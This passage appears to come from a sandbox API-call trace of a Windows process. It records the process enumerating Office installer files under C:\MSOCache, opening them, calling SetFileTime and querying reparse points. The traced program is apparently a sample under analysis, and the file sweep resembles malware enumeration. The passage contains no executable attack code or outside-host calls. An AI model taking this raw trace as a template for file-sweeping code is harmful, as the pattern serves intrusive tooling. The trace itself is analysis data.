cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0045.129] GetLastError () returned 0x12 [0045.130] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedd240) returned 1 [0045.130] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0045.130] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedd348) returned 1 [0045.130] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedd138) returned 1 [0045.130] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0045.130] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0045.130] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.130] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.130] GetLastError () returned 0x12 [0045.130] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0045.130] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.130] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0045.131] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0045.131] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0045.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.131] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0045.141] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0045.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedde90 [0045.141] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedde90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedde90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0045.141] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedde90) returned 1 [0045.141] NtClose (Handle=0x170) returned 0x0 [0045.141] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0045.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0045.141] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0045.141] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0045.162] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.162] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0045.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0045.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbac8 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd138 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbae8 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd348 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbb08 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd240 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbb28 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd870 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbb48 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd978 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.164] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbb68 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedda80 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbb88 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeddb88 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbba8 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeddc90 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.165] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.166] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbbc8 [0045.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeddea8 [0045.166] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.166] GetLastError () returned 0x12 [0045.166] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, 